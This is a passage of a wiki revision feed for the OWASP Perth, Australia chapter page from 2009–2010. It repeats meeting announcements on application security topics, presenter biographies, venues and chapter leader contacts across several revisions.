Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=87773</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=87773"/>
				<updated>2010-08-19T08:24:38Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Update with Sep 2010 Meeting Details.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
=== Web Application (In)Security Brief - Injection ===&lt;br /&gt;
&lt;br /&gt;
Having recently run training sessions on web application security for SyScan'10 and Blackhat, we're lucky enough to have Wade Alcorn from NGS to give a brief presentation on &amp;quot;Exploiting and discovering injection&amp;quot; for September's Perth OWASP Meeting. Come on up to Level 46 of the Bankwest Tower to join us discuss web application security with Wade and others. Please RSVP to ensure appropriate seating arrangements and we're hoping to then shift off to the Generous Squire for a quick beverage afterwards!&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
&lt;br /&gt;
Wade Alcorn has experience in numerous aspects of offensive information security assessments. This ranges from bluetooth, reverse engineering and web application assessments to managing large teams of security professionals. Prior to joining NGS, Wade had been responsible for cutting-edge PKI and VPN development using technologies including C/C++ and Java. He has presented at conferences including BlackHat and AusCERT.&lt;br /&gt;
&lt;br /&gt;
 '''Date: Thursday 16th of September, 2010'''&lt;br /&gt;
 '''Time: 17:15 sign-in, 17:30 start'''&lt;br /&gt;
 '''Location: Level 46, Bankwest Tower, 108 St Georges Tce, Perth, 6000'''&lt;br /&gt;
 '''RSVP: [mailto:xntrik@gmail.com Christian Frichot]'''&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Security Event and Incident Management&amp;quot; Panel Session (Perth AISA August 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=301 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
Log management is a necessary task in Security Management, but is often neglected. There are various pressures being placed on businesses, such as audit and compliance, industry standards (eg PCI, APRA), internal security maturity which have allowed organisations to understand the benefits to be gained from undertaking a SEIM project.&lt;br /&gt;
&lt;br /&gt;
There are many options for organisations looking to develop log management and security incident response processes, which range from open source syslog solutions, through to vendor supplied SEIM products and cloud based monitoring solutions.&lt;br /&gt;
&lt;br /&gt;
A panel selected from a variety of industries including representation from security consulting, corporate and vendor will discuss the considerations, options and benefits of employing SEIM technology and processes.&lt;br /&gt;
&lt;br /&gt;
We were fortunate to have Joshua Qwek, one of Perth's OWASP chapter lead, participate in this panel.&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? (Perth AISA May 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=85827</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=85827"/>
				<updated>2010-07-05T01:08:36Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated previous presentations section.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
Watch this space.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? (Perth AISA May 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 18/11/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=84196</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=84196"/>
				<updated>2010-06-01T09:43:00Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: adding speaker details.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
==== Speaker ====&lt;br /&gt;
&lt;br /&gt;
Christian Frichot is an active AISA member and OWASP member, currently employed by BankWest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting.&lt;br /&gt;
&lt;br /&gt;
==== Details ====&lt;br /&gt;
&lt;br /&gt;
 '''Date: Wednesday, 9th of June 2010'''&lt;br /&gt;
 '''Time: From 5:15pm)'''&lt;br /&gt;
 '''Location: [http://www.ey.com/Global/assets.nsf/Australia/Location_Map_Perth/$file/Perth.pdf Ernst and Young, 11 Mounts Bay Road Perth WA 6000]'''&lt;br /&gt;
 '''Registration: [mailto:Perth@aisa.org.au Perth AISA]'''&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 18/11/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=84195</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=84195"/>
				<updated>2010-06-01T09:40:56Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated with June 2010 meeting with AISA details.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
==== Details ====&lt;br /&gt;
&lt;br /&gt;
 '''Date: Wednesday, 9th of June 2010'''&lt;br /&gt;
 '''Time: From 5:15pm)'''&lt;br /&gt;
 '''Location: [http://www.ey.com/Global/assets.nsf/Australia/Location_Map_Perth/$file/Perth.pdf Ernst and Young, 11 Mounts Bay Road Perth WA 6000]'''&lt;br /&gt;
 '''Registration: [mailto:Perth@aisa.org.au Perth AISA]'''&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
